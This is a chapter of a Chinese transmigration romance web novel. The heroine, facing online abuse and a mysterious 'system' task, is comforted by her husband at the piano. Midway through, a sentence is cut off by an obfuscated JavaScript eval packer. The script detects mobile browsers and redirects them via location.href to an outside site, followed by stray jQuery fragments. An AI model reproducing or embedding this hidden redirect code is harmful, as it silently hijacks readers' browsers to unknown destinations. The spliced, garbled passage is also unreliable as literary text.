“怎么了?”她摸了摸脸,“我脸上有东西?”
“没有。”裴与之伸手,轻轻擦去她脸上残留的泪痕,“只是没想到你演技这么好。”
阮白歌得意地扬起下巴:“那是,我可是专业的。”说完又觉得不对,赶紧补充,“我是说,唱歌也需要表演嘛……”
裴与之似笑非笑地看着她,随即牵起她的手走向沙发:“累了吧?明明之前还在发烧。”
“还好啦。”阮白歌坐下,突然想起什么,“对了,那份协议是真的吗?你真要收购阮氏30%的股份?”
“当然是真的。”裴与之倒了杯温水递给她,“不过不是出于他们想的那种原因。”
阮白歌接过水杯,好奇地问:“那是为什么?”
裴与之在她身边坐下,眼神深邃:“阮氏企业的问题比你想象的严重。如果不及时注资,很可能在三个月内破产。”
“什么?”阮白歌瞪大眼睛,“这么严重?”
“你父亲最近投资失败,欠了不少外债。”裴与之语气平静,“他急着让你联姻,就是想通过这层关系获取资金。”
阮白歌恍然大悟:“所以他刚才看到那份协议,态度立刻软化了……”
“嗯。”裴与之点头,“不过你放心,收购后我会保留阮氏的品牌和运营团队,只派驻财务监管。”
阮白歌怔怔地看着他,突然觉得鼻子发酸:“你……你早就计划好了?”
“从决定和你结婚那天起。你家里人打的那些算盘,我怎么会不知道?”裴与之轻轻握住她的手,“本来我另有打算,不过……你给了我点惊喜。我知道你和家人关系复杂,但他们是你的亲人,我不能眼睁睁看着他们陷入困境。”
阮白歌心头涌起一股暖流。她一直以为裴与之只是利用这场婚姻来应付家族压力,没想到他背后为她考虑了这么多。
“谢谢……”她小声说,眼眶又有些发热,但这次不是演戏。
裴与之轻笑一声,伸手揉了揉她的头发:“别急着感动。我这么做也是为自己考虑——如果阮家破产,媒体肯定会大做文章,对裴氏股价也有影响。”
阮白歌知道他是故意这么说,好让自己不那么有负担。于是她也跟上一句:“那你和我离婚不就好了?”
这句是玩笑话,但她还是怕对方真的答应。
“离婚?”裴与之的眼神突然变得危险,他倾身逼近,将阮白歌困在沙发与自己双臂之间,“你再说一遍?”
阮白歌被他突如其来的动作吓了一跳,后背紧贴着沙发靠背。裴与之的气息扑面而来,混合着淡淡的木质香水味,让她心跳骤然加速。
“我、我开玩笑的……”她结结巴巴地说,手指却暴露本心地揪住了沙发垫。
裴与之没有立即退开,而是用指背轻轻抚过她的脸颊:“这种玩笑,以后不准开。”
他的声音低沉,瞬间让阮白歌感觉脸颊发烫,呼吸都不顺畅了。
就在两人的距离越来越近时,阮白歌猛地推开裴与之,几乎是跳了起来。
“我、我突然想起来要练歌!”她语无伦次地说,“比赛有首歌的唱法还需要研究一下……我去琴房了!”
不等裴之与回应,阮白歌已经逃也似地冲上了楼梯。直到关上琴房的门,她还能听到自己如雷的心跳声。她靠在门上,双手捂住发烫的脸颊。
“冷静点,阮白歌……”她对自己说,“不就是个男人吗……迟早拿下!”
但脑海中不断回放刚才那一幕——裴之与深邃的眼神,温热的气息,还有那句带着占有欲的“不准”。她甩甩头,强迫自己把注意力转移到工作上。
琴房宽敞明亮,三角钢琴在阳光下泛着柔和的光泽。阮白歌深吸一口气,在钢琴前坐下。指尖轻触琴键,熟悉的触感让她稍微平静了些。
她打开平板,习惯性地点开自己的那个音乐创作账号。
阮白歌一点开账号,就看到信息通知栏的999+,一想到可能是自己之前的新歌火了,她心中就忍不住地雀跃了。
屏幕上不是她预想中的赞美和鼓励,而是铺天盖地的谩骂与嘲讽。最新一条@她的消息赫然写着:“骗子也配写情歌?#阮白歌骗婚录音#”
她颤抖着手指点开话题标签,发现自己之前发布的那首整活情歌下面,评论已经炸开了锅:
“听说这首歌是写给裴总的?真恶心!”
“建议封杀这种感情骗子,不配当歌手!”
每条评论都像一把尖刀,狠狠扎进阮白歌的心脏。她机械地往下滑动,看到更早发布的歌曲下面也涌入了大量负面评论。有人甚至把歌词截图做成表情包,配上“专业骗子”的文字嘲讽。
“怎么会这样……”她喃喃自语,指尖发冷。
平板突然被人从身后抽走。阮白歌猛地回头,看到裴与之正皱眉浏览着那些恶毒评论,下颌线条绷得紧紧的。
“别看这些。”他干脆利落地退出账号,将平板放到一旁,“网上的言论不值得在意。”
阮白歌勉强扯出一个笑容:“我没事……”
“你怎么有这个账号?这个明明是……”裴与之看到账号昵称,猛然瞪大双眼,满脸写着不可思议。
阮白歌趁着他惊讶之余,立刻抢回平板,还在想要怎么编织借口,但是裴与之二话没说,似乎不打算给你更大的压力。
“……我没事。”阮白歌又重复了一遍,声音却像绷紧的弦,随时可能断裂。
她低头摆弄着平板边缘,指甲无意识地在保护壳上划出一道道白痕。琴房里安静得可怕,连呼吸声都清晰可闻。
“白歌……”
“我真的没事!”她猛地抬头,声音陡然拔高,“不就是被人骂吗?我早就习惯了!”
话一出口,她就后悔了。裴与之的眼神暗了下来,那双总是能看透她的眼睛此刻盛满了复杂的情绪。阮白歌别过脸去,死死咬住下唇。
“我去给你倒杯茶。”裴与之最终只是轻声说道,转身离开了琴房。
门关上的瞬间,阮白歌像被抽走了全身力气,整个人瘫在琴凳上。她盯着黑白分明的琴键,突然感到一阵前所未有的疲惫。
“系统。”她在脑海中呼唤,“这任务还不算完成吗?他都不会和原主离婚了……”
【系统正在响应……】
熟悉的电子音在脑海中响起,却带着前所未有的延迟和杂音,像是信号不良的收音机。
【系统警告:检测到宿主情绪波动异常……】
“废话少说,”阮白歌在脑海中咬牙切齿,“任务进度到底多少了?”
琴房里的光线似乎暗了下来,窗外的阳光被乌云遮蔽。阮白歌盯着琴键上自己的倒影,突然发现那个倒影对她露出了一个诡异的微笑。
【当前任务进度:72%】
【关键剧情节点尚未触发】
【请宿主继续努力】
“72%?”阮白歌差点喊出声,赶紧捂住嘴,“我都快被全网骂成筛子了,裴与之也说了不会离婚,这还不够?说真的,原主留下这么个烂摊子让我收拾,我真的开始讨厌她了。”
琴键上的倒影突然扭曲变形,变成了一个陌生女子的模样——那是原主阮白歌的脸。倒影的嘴唇一张一合,却没有声音。
阮白歌盯着琴键上扭曲的倒影,在脑海中愤怒地质问系统:“我都做到这个地步了,为什么才72%?”
【系统提示:关键剧情节点尚未触发】
机械音冰冷地回应。
“什么关键节点?”她烦躁地抓了抓头发,“是让我公开承认穿越者身份,还是非得跟裴与之生个孩子才算完?”
琴键上的倒影突然变得清晰,原主阮白歌的脸浮现出讥讽的表情。阮白歌猛地闭上眼,再睁开时倒影已经恢复正常,但那种被窥视的感觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741841|167527||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挥之不去。
“这破任务……”她泄愤似的砸下一串琴键,刺耳的不和谐音在琴房里回荡,“原主自己搞不定的事情丢给我,现在还要被全网骂……”
【警告:宿主情绪波动超出阈值】
“闭嘴!”阮白歌把脸埋进双手,“让我静一静……”
琴房的门突然被轻轻叩响,吓得她差点从琴凳上跳起来。
“白歌?”裴与之的声音隔着门板传来,“我可以进来吗?”
阮白歌慌忙擦了擦眼角,深吸一口气:“请、请进。”
门开了,裴与之端着茶盘走进来。茶盘上除了花茶,还有一小碟她最爱的抹茶马卡龙。
“喝点茶。”他把茶盘放在一旁的边几上,目光扫过她泛红的眼眶,却体贴地没有点破。
阮白歌接过茶杯,温热透过瓷器传递到指尖。茉莉的清香萦绕在鼻尖,让她紧绷的神经稍微放松了些。
“谢谢……”她小声说,低头啜了一口。恰到好处的温度和甜度,显然是特意调过的。
裴与之在她身旁的琴凳上坐下,修长的手指随意按了几个琴键:“很久没弹了,生疏不少。”
阮白歌惊讶地看着他:“你会弹钢琴?”
“嗯,小时候学过。”他弹了一小段,虽然不算特别流畅,但指法还算标准,“后来工作太忙,就荒废了。”
阳光透过云层重新洒进琴房,落在他的侧脸上,勾勒出柔和的轮廓。阮白歌突然发现,这样的裴与之看起来格外……平易近人。
“弹得不错。”她由衷地说。
裴与之停下动作,转向她:“想听你弹。”
“现在?”阮白歌有些犹豫,“我……”
“就弹你最喜欢的那首。”他轻声说,“就当是……帮我回忆一下往昔。”
阮白歌看着他期待的眼神,不忍拒绝。她把茶杯放到一边,深吸一口气,手指悬在琴键上方。片刻的犹豫后,她弹了起来。
温柔的音符如流水般倾泻而出,填满了整个琴房。她当然不知道裴与之所说的那首最喜欢的是什么,但她选择弹了裴与之一定会喜欢的——这是她穿越前最拿手的曲子,每当心情低落时就会弹奏。
渐渐地,她忘记了网上的谩骂,忘记了未完成的任务,全身心沉浸在音乐中。
最后一个音符消散在空气中,阮白歌才发现自己不知何时已经泪流满面。裴与之静静地注视着她,眼中是她读不懂的情绪。
“很美。”他轻声说,伸手拭去她脸上的泪水,“就像你一样。”
这句简单的赞美让阮白歌心头一颤。她慌忙低头,假装整理并不凌乱的头发:“我、我很久没练了,弹得不好……”
“白歌。”裴与之突然握住她的手,“看着我。”
她不得不抬头,对上那双深邃如海的眼睛。裴与之的表情前所未有的认真:“无论发生什么,我都会站在你这边。网上的言论,温世的陷害,甚至你家人的态度……这些都不重要。”
“重要的是……”他轻轻捏了捏她的手指,“我是你的丈夫,这一点永远不会改变。”
阮白歌的眼泪再次夺眶而出。这一次,她没有试图掩饰或擦去。裴与之将她拉入怀中,让她靠在自己肩上。
“哭吧,”他轻抚她的后背,“在我面前,你不需要坚强。”
这句话像打开了某个闸门,阮白歌再也控制不住情绪,在他怀里放声大哭。所有的委屈、恐惧和压力,在这一刻全部释放出来。
裴与之就这样抱着她,任由她的泪水浸湿自己的衣衫。直到她的抽泣声渐渐平息,他才轻声开口:“好点了吗?”
阮白歌不好意思地点点头,从他怀里抬起头来。裴与之的衬衫肩膀处已经湿了一大片,看起来滑稽又狼狈。
“对不起……”她红着脸说,“把你的衣服弄脏了。”
裴与之宠溺地刮了刮她的鼻子,“笨蛋。”